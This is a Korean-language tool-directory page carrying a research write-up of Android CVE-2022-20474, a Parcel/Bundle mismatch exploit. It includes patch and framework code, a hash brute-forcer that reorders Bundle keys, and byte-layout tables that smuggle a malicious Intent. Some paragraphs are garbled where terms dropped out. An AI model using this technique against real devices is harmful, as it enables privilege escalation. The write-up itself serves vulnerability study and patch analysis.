Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-20474 — CVE-2022-20474의 PoC | Kitploit
도구/GitHubGitHub/cxxsheng/cve-2022-20474
Android SecurityVulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

CVE-2022-20474의 PoC

저장소 보기
2011년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-20474 분석 – LazyValue 환경에서의 Self-changed Bundle

서문

참고: 이 글을 읽기 전에 Bundle Mismatch 관련 취약점에 대한 기본적인 이해가 있어야 합니다. 다음 참고 자료를 아직 읽지 않으셨다면 먼저 읽어보시길 권장합니다:

  1. Bundle 풍수 – Android 직렬화와 역직렬화 불일치 취약점 상세: 고전적인 입문 수준 튜토리얼.
  2. Android 역직렬화 취약점 공격과 방어의 역사: 훌륭한 요약 글.
  3. TheLastBundleMismatch: 최초의 LazyValue 패턴 Bundle Mismatch 글.

배경

최근 michalbednarski의 LeakValue 글을 열심히 공부하고 있었습니다. Canyie와 논의하던 중, 이 글에서 LazyValue 시나리오에서 Self-changing Bundle이 발생하는 경우도 언급되었다고 해서 원문을 다시 찾아보니 실제로 그런 내용이 있었는데, Michal의 글을 읽을 때 바로 놓쳤습니다. 원문에서는 다음과 같이 말합니다:

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal이 가리키는 것은 CVE-2022-20474일 것입니다. (bulletin, patch). 패치 링크의 함수가 완전하지 않아 직접 보완하여 자세히 살펴보았습니다:

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

코드에서 objectLength는 LazyValue의 length입니다. 실제로 이것은 LazyValue가 포함하는 가변 객체의 길이에 불과하며, 전체 LazyValue의 길이는 mLength 필드, 즉 코드에서 valueLength로 제어됩니다. 이 값은 LazyValue의 생성자에서 mLength로 전달됩니다.

이제 LazyValue의 레이아웃 형식을 비교해 보겠습니다:

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

위의 내용을 바탕으로 다음과 같은 사실을 얻을 수 있습니다:

  1. mLength는 전체 LazyValue의 길이를 나타내며, mLength = objectLength + 8바이트입니다.
  2. objectLength는 0 이상이어야 합니다.
  3. LazyValue 객체에는 mLength만 저장되고 objectLength는 저장되지 않습니다. LazyValue가 메모리 복사를 할 때 전체 객체를 기준으로 복사하기 때문입니다.
  4. 읽기 이후 포인터는 앞으로 이동하며, LazyValue를 다시 읽을 수도 있습니다.

그런 다음 심사숙고 끝에 이러한 사실은 별로 쓸모가 없다는 데 동의했습니다. 위의 사실에 기반하면 읽기 시에만 한 번 수정할 수 있기 때문입니다. Self-changed Bundle의 핵심 아이디어는 읽기가 완료된 후에 수정되어야 보안 검사를 우회할 수 있다는 것입니다.

포기하려는 순간, 패치 설명에 몇 가지 세부 사항이 있음을 발견했습니다:

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.

비정상적인 objectLength

objectLength가 -8일 때 몇 가지 문제가 발생한다고 언급되어 있습니다. 이것은 우리에게 추가적인 힌트를 주었습니다. 이 경우 LazyValue가 정상적으로 적용(apply)될 수 있을까요?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

실제 readValue는 mPosition부터 읽기 시작하여 LazyType과 objectLength를 차례로 읽은 후 정상적인 Value 읽기 흐름으로 들어갑니다. 예를 들어 Parcelable은 ClassName을 읽은 후 createFromParcel을 실행합니다. 읽기가 완료되면 일반적인 Key-Value와 전혀 차이가 없으며 후속 직렬화에도 영향을 미치지 않습니다. 다시 생각해보면, Self-changed Bundle의 핵심은 읽기 완료 후 수정하는 것입니다. 여기서는 단순한 범위 초과 읽기에 불과하므로 이 방향은 통하지 않을 것 같습니다.

그렇다면 LazyValue가 이 과정에서 apply되지 않는 경우, 즉 LazyValue 상태로 IPC에 계속 참여하는 경우에는 writeToParcel 함수가 호출됩니다:

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

전체 LazyValue가 직접 복사됩니다. 단, mLength = 0인 경우는 예외입니다. 잠깐만요! 위에서 mLength = objectLength + 8바이트라고 했는데, 패치 정보에 따르면 취약점을 트리거하려면 objectLength가 -8이어야 하므로 mLength = 0이 성립합니다. 즉, 이 시나리오에서 전체 LazyValue가 사라져서 String Key만 복사됩니다. 따라서 누락된 쓰기가 발생하여 Self-changed Bundle의 조건이 바로 충족됩니다.

원인을 알았으니 재현을 시작할 수 있습니다. 하지만 그 전에 몇 가지 세부 사항이 더 필요합니다.

세부 사항 1: 두 가지 유형의 Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

알다시피 Bundle의 메모리 레이아웃은 대략 다음과 같습니다:

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC은 Bundle의 메모리 레이아웃에서 매직 넘버로, BUNDLE_MAGIC 또는 BUNDLE_MAGIC_NATIVE가 될 수 있습니다. 가장 중요한 차이점은 BUNDLE_MAGIC을 사용하면 Key-Value가 역직렬화 완료 후 재정렬된다는 점입니다. 다음 코드와 같습니다:

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

MAGIC 플래그는 결국 readArrayMap에서 sorted 값에 영향을 주어 map 정렬을 유발합니다. 주석에서도 언급했듯이 정렬 방식은 key String의 해시 값을 통해 이루어집니다.

세부 사항 2: 역직렬화에서의 Overlap

root@kitploit:~
       /**
         *                 a
         * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
         *
         */

ArrayMap의 파싱 과정을 다시 생각해 봅시다. 첫 번째 라운드 파싱에서는 Key1을 먼저 파싱한 후 LazyValue1을 파싱하려고 시도합니다. 그러나 LazyValue1의 objectLength가 -8이므로 parcel의 포인터는 LazyValue1의 시작점, 즉 a 지점으로 돌아갑니다. 이것이 위에서 언급한 사실 4입니다. 이로써 첫 번째 Key-Map 파싱이 완료됩니다. 두 번째 Key-Value는 a 지점부터 파싱을 시작합니다. 이때 먼저 String의 길이를 읽습니다. LazyValue1에 Parcelable이 포함되어 있다고 가정하면 이 길이는 4가 되어야 합니다. 따라서 실제 Key2는 a 지점부터 시작됩니다. 즉, Key2 = LazyValue1 + 입니다. 은 데이터를 포함하지 않으므로 길이는 + 의 8바이트입니다. 전체 의 길이는 4(길이 식별자) + 4 * 2 + 4("\0") = 16바이트입니다. 의 8바이트를 제외하면 뒤에 8바이트(즉, 2개)를 더 추가해야 합니다. 그런 다음 를 읽습니다. 따라서 첫 번째 파싱 시에는 음수 를 가진 으로 인해 포인터가 앞으로 이동하는 문제를 처리하기 위해 가 필요합니다. 이 의 값은 신경 쓰지 않아도 됩니다. 첫 번째 파싱에서만 사용되는 도구일 뿐이기 때문입니다. 한 번 쓰고 버릴 도구이므로 첫 번째 파싱이 완료되면 우리의 중요한 데이터에서 멀리 떨어져 있기를 바랍니다. 그리고 에 악성 데이터가 들어 있습니다. 의 해시 값이 보다 크면 이후 파싱에 영향을 미치지 않을 것입니다. 을 통해 의 해시 값을 조정하여 이 목표를 달성할 수 있습니다. 이에 대해서는 에서 자세히 설명하겠습니다. 그런 다음 의 파싱으로 들어갑니다. 의 오랜 관례에 따라 에는 악성 가 포함된 를 넣으면 되지만, 에는 몇 가지 추가 제약이 있습니다. 첫 번째 라운드 역직렬화가 완료되면 의 레이아웃은 다음과 같아야 합니다. 도구 는 맨 마지막에 배치됩니다:

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

위에서 비정상적인 objectLength에서 언급했듯이 LazyValue1의 길이는 0이므로 writeToParcel 시 전혀 복사되지 않습니다! 실제 레이아웃은 다음과 같습니다:

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

Key1을 읽은 후에는 Value1을 읽어야 하는데, 여기서 또다시 범위 초과 읽기가 발생합니다. Key3은 LazyValue1을 읽는 역할도 맡아야 합니다. Key3의 첫 번째 int는 String 길이 역할과 LazyValue Type 역할을 동시에 해야 하므로 Key3의 길이가 너무 짧아서는 안 됩니다. 너무 짧으면 해시 계산이 어렵습니다. LazyValue Type 목록을 살펴보니 다음과 같은 것이 눈에 띄었습니다:

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

물론 12, 16, 17을 선택해도 됩니다. 너무 짧지만 않으면 됩니다.

Key3의 두 번째 int는 LazyValue의 Length 역할을 합니다. 이를 통해 LazyValue1의 길이를 제어하고 다음 포인터를 악성 Intent의 시작점으로 가리킬 수 있습니다. LazyValue1의 내용이 유효하지 않다고요? 그것은 상관없습니다. getXXX를 호출하여 apply하지 않는 한 항상 LazyValue로 남아 있습니다.

세부 사항 3: 무차별 대입기 구현

무차별 대입기를 작성하면 됩니다:

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

물론 Key2를 무차별 대입하여 앞쪽으로 조정할 수도 있습니다. 하지만 Key2의 길이는 고정된 4로 비교적 짧아서 조작할 공간이 적습니다. 반면 Key3의 길이는 위에서 이미 여유를 두었기 때문에 무차별 대입이 더 쉽습니다. Key1이 문자열 "Cxxsheng"라고 가정할 때, Key3의 해시 값이 "Cxxsheng"의 해시보다 크되 약간만 크도록 제어하고 싶었습니다. 1000000을 설정하여 서로 영원히 함께할 확률을 높이고, 제3자인 Key2가 끼어들 수 없도록 했습니다. 위에서 언급했듯이 string의 처음 두 int는 고정되어 있습니다. 따라서 먼저 VAL_LIST(String 길이이기도 함)를 쓰고, 계산을 통해 악성 Intent까지 32바이트가 남았음을 확인합니다. 나머지 0들은 모두 무차별 대입에 사용할 수 있습니다. 아무 2개를 선택하여 무차별 대입하면 됩니다.

재현

number1과 number2를 사용하여 세 번째 값이 ArrayMap에서 정렬되는 방식을 조작할 수 있습니다. ArrayMap은 key의 hashcode를 기준으로 정렬되므로, 이렇게 하면 세 번째 값이 역직렬화 후 두 번째가 되어 첫 번째 "Cxxsheng" 바로 뒤에 오게 됩니다. 다음과 같습니다:

root@kitploit:~
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[한 줄의 깨진 문자열]=[악성 ByteArray], [한 줄의 깨진 문자열]=0}]

읽기 순서도 쓰기 순서와 다르게 됩니다. 쓰기가 완료되면 위에서 분석한 대로 전체 LazyValue가 사라지고, 세 번째 Key-Value가 두 번째로 재정렬되며, 여기에는 type과 objectLength도 포함됩니다. 따라서 페이지 레이아웃은 다음과 같이 됩니다:

활용

독자는 고전적인 AccountManagerService 활용 체인을 자유롭게 사용할 수 있습니다. 활용 여부는 2022년 11월 패치에 checkKeyIntentParceledCorrectly 함수가 포함되어 있는지에 달려 있으므로 이 글에서는 더 이상 논의하지 않습니다. 추가로 설명하자면, 이 함수는 IPC 호출 흐름을 시뮬레이션하여 AccountManagerService 활용 체인을 차단합니다. 따라서 Android 12 또는 13에서 Mismatch가 존재하더라도 반드시 활용할 수 있는 것은 아니며, 이 함수를 우회하는 방법을 찾아야 합니다.

이 함수를 모방하여 IPC 호출 흐름을 시뮬레이션하는 코드를 작성할 수 있습니다:

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); // 디버깅 시 여기서 parcel 데이터 확인 가능
        // marshall은 Parcel 포인터를 변경하지 않음
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

그런 다음 IPC 호출 흐름 시뮬레이션을 통한 로그 출력을 확인할 수 있습니다. 자세한 내용은 Github 코드를 참고하십시오: description

도구 다운로드
FakeKey2
LazyValue1
LazyType
objectLength
string
LazyValue1
writeInt
Value2
objectLength
LazyValue1
Key2-Value2
Key2-Value2
Key3-Value3
Key2
Key1
세부 사항 1
Key3
세부 사항 3
Key2-Value2
Bundle mismatch
Value3
Intent
ByteArray
Key3
ArrayMap
Key2-Value2
값설명
"Cxxsheng"첫 번째 키
4두 번 읽힘: 첫 번째는 VAL_PARCELABLE을 나타냄; 두 번째는 두 번째 Key의 String Length가 됨
-8두 번 읽힘: 첫 번째는 LazyValue의 objectLength를 나타내며, 읽기 포인터가 앞으로 이동하여 두 번 읽힘; 두 번째는 두 번째 Key의 String Value가 됨
0두 번째 Key의 String Value
0두 번째 Key의 String Value
1VAL_INTEGER
0두 번째 Value
11세 번째 Key의 String Length
32세 번째 Key의 String Value
0세 번째 Key의 String Value
0세 번째 Key의 String Value
number1세 번째 Key의 String Value, 이 두 값은 정렬을 조정하는 데 사용
number2세 번째 Key의 String Value, 이 두 값은 정렬을 조정하는 데 사용
0세 번째 Key의 String Value
13VAL_BYTEARRAY
LazyValue의 길이계산됨
ByteArray의 길이계산됨
ByteArray악성 Key-Value, 즉 Intent.EXTRA_INTENT와 그 Intent 포함
값설명
"Cxxsheng"첫 번째 키
11VAL_LIST
32첫 번째 Value의 길이, 뒤의 내용은 유효 여부가 중요하지 않음 (어차피 이 LazyValue를 apply하지 않음), 이것은 ByteArray 내 악성 Intent의 앞부분을 가리킴
0LazyValue 내의 값
0LazyValue 내의 값
number1LazyValue 내의 값
number2LazyValue 내의 값
0LazyValue 내의 값
13LazyValue 내의 값
LazyValue의 길이LazyValue 내의 값
ByteArray의 길이LazyValue 내의 값
ByteArray 시작 / Intent.EXTRA_INTENT두 번째 키
Intent두 번째 Value
세 번째 Key-Value마지막으로 밀려남